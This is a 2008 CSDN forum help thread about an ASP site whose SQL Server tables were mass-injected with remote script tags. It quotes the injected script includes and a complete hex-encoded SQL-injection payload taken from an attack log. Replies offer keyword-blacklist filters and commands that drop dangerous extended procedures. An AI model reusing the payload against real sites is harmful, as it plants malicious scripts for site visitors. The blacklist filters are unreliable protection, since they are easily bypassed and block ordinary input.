首页 新闻 论坛 群组 Blog 文档 下载 读书 Tag 网摘 搜索 .NET Java 游戏 视频 人才 外包 培训 数据库 书店 程序员
中国软件网
欢迎您:游客 | 登录 注册 帮助
  • ASP网站里的数据库MSSQL2000每个表里的一些字段都被注入了脚本 [已结贴,结贴人:dream200829]
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 11:43:45 楼主
    ASP网站里的数据库MSSQLSERVER2000每个表里的一些字段都被注入了这个脚本(基本上是数据库里所有的表,每个表里的显示标题或者是内容的字段都被加入了这个脚本)

    <script src=http://f <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http://firestnames <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http://fir <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http://firest <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http://fi <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http <script src=http://firestnamestea.cn/q.js> </script>
    <script src=http://firestnamestea.cn/q.js> </script>
    不仅仅是加上这脚本,而是把之前的内容都删除了,然后再替换成这段脚本的
    比如以前的content字段的内容是:ASP网站里的数据库MSSQLSERVER2000每
    现在就变成:ASP网站里 <script src=http://f <script src=http://firestnamestea.cn/q.js> </script>
    就是把内容后部分都替换成那段脚本了

    有人遇到过这样的情况吗?知道怎么解决吗?
    最近一个月都是这样,被挂了,然后我恢复了数据库,然后一会又被挂了!急啊,大家帮帮忙
    知道的请加我QQ156024363谢谢
    20  修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 11:46:041楼 得分:0
    sql注入漏洞,估计
    自己检测下所有页面接收的get、post的参数是否可能会允许用户提交某些不合理的数据
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 11:48:142楼 得分:0
    请问这种情况是别人恶意攻击还是什么?我上传的东西都限制了压缩文件的上传,只允许图片格式上传
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 12:11:513楼 得分:0
    ContentView.aspx?id=1643;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

    这是一条攻击的情况,对方不是用上传木马进攻的,那已经是前几年的手法了.

    现在它仅仅是访问了一个网页,就可以执行它的任意指令,这是针对SQLServer数据库的攻击。

    declare @s
    @s="命令字符串"      //命令串的内容就是通过syscolumns获得你所有表的文本字段,并填入它的广告。
    exec @s
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 12:15:124楼 得分:0
    对所有页面的 request 查找 declare、exec、syscolumns、sysobjects,一旦发现,终止页面。
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 12:23:585楼 得分:0
    这个网是ASP的网站,楼上的能说详细点吗?我现在该如何防范,我现在都把后台给删除了,要更新资料的时候才把后台传上去!

    上传部分我限制了上传压缩文件,只允许上传图片格式的,
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 13:28:126楼 得分:5
    跟上传无关!将以下代码放入 conn.asp

        const FILTERSTR = "exec ¦declare ¦xtype ¦sysobjects ¦syscolumns"
        dim FILTERARR :FILTERARR= split(FILTERSTR," ¦")
        defence_inj

    sub defence_inj()
        dim i
        for each i in request.querystring
            dofilter lcase(request.querystring(i))
        next
        for each i in request.form
            dofilter lcase(request.form(i))
        next
    end sub
    SUB dofilter(s)
            dim i
            For i=0 To Ubound(FILTERARR)
                if instr(s,FILTERARR(i))>0 Then
                    Response.Write "检测到不安全字符,操作中止! <br /> <br />"
                    Response.Write " 时间:"& Now &" <br>"
                    Response.Write " 敏感字符:"& FILTERARR(i) &" <br />"
                    response.end
                end if
            next
    END SUB
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 16:11:577楼 得分:0
    好的,谢谢,我现在加上了上面的代码,不知道行不行,先试试看,谢谢各位先了
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 16:14:328楼 得分:0
    和后台的路径有关吗?要不要修改一下后台的路径,试试,不知道这样有没有用?
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 16:30:239楼 得分:0
    百分百是SQL注入了,好好查查程序吧。
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 16:46:4210楼 得分:0
    我加了上面给的那段防SQL注入的代码包含在连数据库的文件里,这样能防住注入吗?
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 17:02:3511楼 得分:0
    这是SQL注入,尽快防注,还有你的源码要改!
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-08 23:19:3012楼 得分:10
    这个,我遇到过一次。

    我们的是大型网户站,很多表单提交的地方。

    写函数去判断很麻烦,太多表单了。

    后来我在 DBConn.asp 数据链接文件上(在这个文件上加的原因是因为,所有的文件都包含这个页面,所以加了这个页面,总个站也加好了。)

    加上Post和Get方法的对象检查,每上对象都检查。他不可能注入进来了。

    VBScript code
    '--------SQL防注入定义部份------------------ Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh Fy_In = "or|join|union|like|modify|cast|drop|exec|insert|select|delete|update|count|alter|rename|chr|mid|truncate|char|declare|'" ' 注意这个加了很严,可能自己的后台也会受影响。只要加一点防SQL注入就OK了。 Fy_Inf = split(Fy_In,"|") '--------POST部份------------------ If Request.Form<>"" Then For Each Fy_Post In Request.Form For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then Response.Write "<Script Language=JavaScript>alert('信息发布系统防注入系统提示↓\n\n请不要在参数中包含非法字符尝试注入!');history.back();</Script>" Response.End End If Next Next End If '--------GET部份------------------- If Request.QueryString<>"" Then For Each Fy_Get In Request.QueryString For Fy_Xh=0 To Ubound(Fy_Inf) If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then Response.Write "<Script Language=JavaScript>alert('信息发布系统防注入系统提示↓\n\n请不要在参数中包含非法字符尝试注入!');history.back();</Script>" Response.End End If Next Next End If


    这个提示或方法都根据自己需求来修改。。
    再也不会来SQL来注入了。
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    • ttt2
    • 等级:
    发表于:2008-07-09 08:27:5113楼 得分:5
    打sql补丁
    删除危险存储过程
    use master
    EXEC sp_dropextendedproc 'xp_cmdshell'
    EXEC sp_dropextendedproc 'Sp_OACreate'
    EXEC sp_dropextendedproc 'Sp_OADestroy'
    EXEC sp_dropextendedproc 'Sp_OAGetErrorInfo'
    EXEC sp_dropextendedproc 'Sp_OAGetProperty'
    EXEC sp_dropextendedproc 'Sp_OAMethod'
    EXEC sp_dropextendedproc 'Sp_OASetProperty'
    EXEC sp_dropextendedproc 'Sp_OAStop'
    EXEC sp_dropextendedproc 'Xp_regaddmultistring'
    EXEC sp_dropextendedproc 'Xp_regdeletekey'
    EXEC sp_dropextendedproc 'Xp_regdeletevalue'
    EXEC sp_dropextendedproc 'Xp_regenumvalues'
    EXEC sp_dropextendedproc 'Xp_regread'
    EXEC sp_dropextendedproc 'Xp_regremovemultistring'
    EXEC sp_dropextendedproc 'Xp_regwrite'
    drop procedure sp_makewebtask
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-09 08:47:4614楼 得分:0
    学习了。。
    修改 删除 举报 引用 回复
    进入用户个人空间
    加为好友
    发送私信
    在线聊天
    发表于:2008-07-09 10:04:1515楼 得分:0
    谢谢各位,
    我已经把楼上的给的防注入的代码加上了,但愿能防住,不然工作也不保了!
    最麻烦就是,这个网站是别人开发的,现在别人不理了,我在维护,哎!!!
    修改 删除 举报 引用 回复

    网站简介广告服务网站地图帮助联系方式诚聘英才English 问题报告
    北京创新乐知广告有限公司 版权所有 京 ICP 证 070598 号
    世纪乐知(北京)网络技术有限公司 提供技术支持
    Copyright © 2000-2008, CSDN.NET, All Rights Reserved